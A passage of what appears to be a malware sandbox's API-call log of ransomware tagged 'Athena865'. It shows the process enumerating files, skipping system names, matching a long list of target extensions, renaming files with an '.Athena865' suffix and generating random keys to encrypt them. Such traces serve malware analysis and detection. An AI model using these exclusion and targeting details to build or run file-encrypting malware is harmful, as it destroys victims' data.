hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.209] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.209] CloseHandle (hObject=0x17c) returned 1 [0103.209] CloseHandle (hObject=0x154) returned 1 [0103.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.209] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0103.209] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.209] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.209] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".") returned 1 [0103.209] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="..") returned 1 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="windows") returned -1 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="bootmgr") returned 1 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="temp") returned -1 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="pagefile.sys") returned -1 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="boot") returned 1 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="ids.txt") returned 1 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="ntuser.dat") returned -1 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="perflogs") returned -1 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="MSBuild") returned -1 [0103.210] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28 [0103.210] lstrcpyW (in: lpString1=0x241e8c6, lpString2="IE site on Microsoft.com.url" | out: lpString1="IE site on Microsoft.com.url") returned="IE site on Microsoft.com.url" [0103.210] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28 [0103.210] lstrlenW (lpString="Athena865") returned 9 [0103.210] lstrcmpiW (lpString1="t.com.url", lpString2="Athena865") returned 1 [0103.210] lstrlenW (lpString=".dll") returned 4 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".dll") returned 1 [0103.210] lstrlenW (lpString=".lnk") returned 4 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".lnk") returned 1 [0103.210] lstrlenW (lpString=".ini") returned 4 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".ini") returned 1 [0103.210] lstrlenW (lpString=".sys") returned 4 [0103.210] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".sys") returned 1 [0103.210] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28 [0103.210] lstrlenW (lpString="bak") returned 3 [0103.210] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0103.210] lstrlenW (lpString="ba_") returned 3 [0103.210] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0103.210] lstrlenW (lpString="dbb") returned 3 [0103.210] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0103.210] lstrlenW (lpString="vmdk") returned 4 [0103.210] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0103.211] lstrlenW (lpString="rar") returned 3 [0103.211] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0103.211] lstrlenW (lpString="zip") returned 3 [0103.211] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0103.211] lstrlenW (lpString="tgz") returned 3 [0103.211] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0103.211] lstrlenW (lpString="vbox") returned 4 [0103.211] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0103.211] lstrlenW (lpString="vdi") returned 3 [0103.211] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0103.211] lstrlenW (lpString="vhd") returned 3 [0103.211] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0103.211] lstrlenW (lpString="vhdx") returned 4 [0103.211] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0103.211] lstrlenW (lpString="avhd") returned 4 [0103.211] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0103.211] lstrlenW (lpString="db") returned 2 [0103.211] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0103.211] lstrlenW (lpString="db2") returned 3 [0103.211] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0103.211] lstrlenW (lpString="db3") returned 3 [0103.211] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0103.211] lstrlenW (lpString="dbf") returned 3 [0103.211] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0103.211] lstrlenW (lpString="mdf") returned 3 [0103.211] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0103.211] lstrlenW (lpString="mdb") returned 3 [0103.211] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0103.211] lstrlenW (lpString="sql") returned 3 [0103.212] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0103.212] lstrlenW (lpString="sqlite") returned 6 [0103.212] lstrcmpiW (lpString1="om.url", lpString2="sqlite") returned -1 [0103.212] lstrlenW (lpString="sqlite3") returned 7 [0103.212] lstrcmpiW (lpString1="com.url", lpString2="sqlite3") returned -1 [0103.212] lstrlenW (lpString="sqlitedb") returned 8 [0103.212] lstrcmpiW (lpString1=".com.url", lpString2="sqlitedb") returned -1 [0103.212] lstrlenW (lpString="xml") returned 3 [0103.212] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0103.212] lstrlenW (lpString="$er") returned 3 [0103.212] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0103.212] lstrlenW (lpString="4dd") returned 3 [0103.212] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0103.212] lstrlenW (lpString="4dl") returned 3 [0103.212] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0103.212] lstrlenW (lpString="^^^") returned 3 [0103.212] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0103.212] lstrlenW (lpString="abs") returned 3 [0103.212] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0103.212] lstrlenW (lpString="abx") returned 3 [0103.212] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0103.212] lstrlenW (lpString="accdb") returned 5 [0103.212] lstrcmpiW (lpString1="m.url", lpString2="accdb") returned 1 [0103.212] lstrlenW (lpString="accdc") returned 5 [0103.212] lstrcmpiW (lpString1="m.url", lpString2="accdc") returned 1 [0103.212] lstrlenW (lpString="accde") returned 5 [0103.212] lstrcmpiW (lpString1="m.url", lpString2="accde") returned 1 [0103.212] lstrlenW (lpString="accdr") returned 5 [0103.212] lstrcmpiW (lpString1="m.url", lpString2="accdr") returned 1 [0103.212] lstrlenW (lpString="accdt") returned 5 [0103.212] lstrcmpiW (lpString1="m.url", lpString2="accdt") returned 1 [0103.213] lstrlenW (lpString="accdw") returned 5 [0103.213] lstrcmpiW (lpString1="m.url", lpString2="accdw") returned 1 [0103.213] lstrlenW (lpString="accft") returned 5 [0103.213] lstrcmpiW (lpString1="m.url", lpString2="accft") returned 1 [0103.213] lstrlenW (lpString="adb") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.213] lstrlenW (lpString="adb") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.213] lstrlenW (lpString="ade") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0103.213] lstrlenW (lpString="adf") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0103.213] lstrlenW (lpString="adn") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0103.213] lstrlenW (lpString="adp") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0103.213] lstrlenW (lpString="alf") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0103.213] lstrlenW (lpString="ask") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0103.213] lstrlenW (lpString="btr") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0103.213] lstrlenW (lpString="cat") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0103.213] lstrlenW (lpString="cdb") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0103.213] lstrlenW (lpString="ckp") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0103.213] lstrlenW (lpString="cma") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0103.213] lstrlenW (lpString="cpd") returned 3 [0103.213] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0103.214] lstrlenW (lpString="dacpac") returned 6 [0103.214] lstrcmpiW (lpString1="om.url", lpString2="dacpac") returned 1 [0103.214] lstrlenW (lpString="dad") returned 3 [0103.214] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0103.214] lstrlenW (lpString="dadiagrams") returned 10 [0103.214] lstrcmpiW (lpString1="ft.com.url", lpString2="dadiagrams") returned 1 [0103.214] lstrlenW (lpString="daschema") returned 8 [0103.214] lstrcmpiW (lpString1=".com.url", lpString2="daschema") returned -1 [0103.214] lstrlenW (lpString="db-journal") returned 10 [0103.214] lstrcmpiW (lpString1="ft.com.url", lpString2="db-journal") returned 1 [0103.214] lstrlenW (lpString="db-shm") returned 6 [0103.214] lstrcmpiW (lpString1="om.url", lpString2="db-shm") returned 1 [0103.214] lstrlenW (lpString="db-wal") returned 6 [0103.214] lstrcmpiW (lpString1="om.url", lpString2="db-wal") returned 1 [0103.214] lstrlenW (lpString="dbc") returned 3 [0103.214] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0103.214] lstrlenW (lpString="dbs") returned 3 [0103.214] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0103.214] lstrlenW (lpString="dbt") returned 3 [0103.214] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0103.214] lstrlenW (lpString="dbv") returned 3 [0103.214] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0103.214] lstrlenW (lpString="dbx") returned 3 [0103.214] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0103.214] lstrlenW (lpString="dcb") returned 3 [0103.214] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0103.215] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Athena865") returned 101 [0103.215] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url.athena865"), dwFlags=0x1) returned 1 [0103.215] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.216] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.216] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.217] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.217] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.217] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.219] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.220] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.221] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.221] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.221] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.222] CloseHandle (hObject=0x17c) returned 1 [0103.222] CloseHandle (hObject=0x154) returned 1 [0103.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.222] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".") returned 1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="..") returned 1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="windows") returned -1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="bootmgr") returned 1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="temp") returned -1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="pagefile.sys") returned -1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="boot") returned 1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="ids.txt") returned 1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="ntuser.dat") returned -1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="perflogs") returned -1 [0103.222] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="MSBuild") returned -1 [0103.222] lstrlenW (lpString="Microsoft At Home.url") returned 21 [0103.222] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Microsoft At Home.url" | out: lpString1="Microsoft At Home.url") returned="Microsoft At Home.url" [0103.222] lstrlenW (lpString="Microsoft At Home.url") returned 21 [0103.222] lstrlenW (lpString="Athena865") returned 9 [0103.223] lstrcmpiW (lpString1=" Home.url", lpString2="Athena865") returned -1 [0103.223] lstrlenW (lpString=".dll") returned 4 [0103.223] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".dll") returned 1 [0103.223] lstrlenW (lpString=".lnk") returned 4 [0103.223] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".lnk") returned 1 [0103.223] lstrlenW (lpString=".ini") returned 4 [0103.223] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".ini") returned 1 [0103.223] lstrlenW (lpString=".sys") returned 4 [0103.223] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".sys") returned 1 [0103.223] lstrlenW (lpString="Microsoft At Home.url") returned 21 [0103.223] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Athena865") returned 94 [0103.223] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\microsoft at home.url.athena865"), dwFlags=0x1) returned 1 [0103.224] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\microsoft at home.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.224] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.224] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.225] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.225] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.225] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.227] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.228] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.229] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.229] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.230] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.230] CloseHandle (hObject=0x17c) returned 1 [0103.230] CloseHandle (hObject=0x154) returned 1 [0103.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.230] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".") returned 1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="..") returned 1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="windows") returned -1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="bootmgr") returned 1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="temp") returned -1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="pagefile.sys") returned -1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="boot") returned 1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="ids.txt") returned 1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="ntuser.dat") returned -1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="perflogs") returned -1 [0103.230] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="MSBuild") returned -1 [0103.231] lstrlenW (lpString="Microsoft At Work.url") returned 21 [0103.231] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Microsoft At Work.url" | out: lpString1="Microsoft At Work.url") returned="Microsoft At Work.url" [0103.231] lstrlenW (lpString="Microsoft At Work.url") returned 21 [0103.231] lstrlenW (lpString="Athena865") returned 9 [0103.231] lstrcmpiW (lpString1=" Work.url", lpString2="Athena865") returned -1 [0103.231] lstrlenW (lpString=".dll") returned 4 [0103.231] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".dll") returned 1 [0103.231] lstrlenW (lpString=".lnk") returned 4 [0103.231] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".lnk") returned 1 [0103.231] lstrlenW (lpString=".ini") returned 4 [0103.231] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".ini") returned 1 [0103.231] lstrlenW (lpString=".sys") returned 4 [0103.231] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".sys") returned 1 [0103.231] lstrlenW (lpString="Microsoft At Work.url") returned 21 [0103.231] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Athena865") returned 94 [0103.231] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\microsoft at work.url.athena865"), dwFlags=0x1) returned 1 [0103.232] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\microsoft at work.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.232] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.233] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.233] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.233] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.233] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.235] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.236] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.237] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.237] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 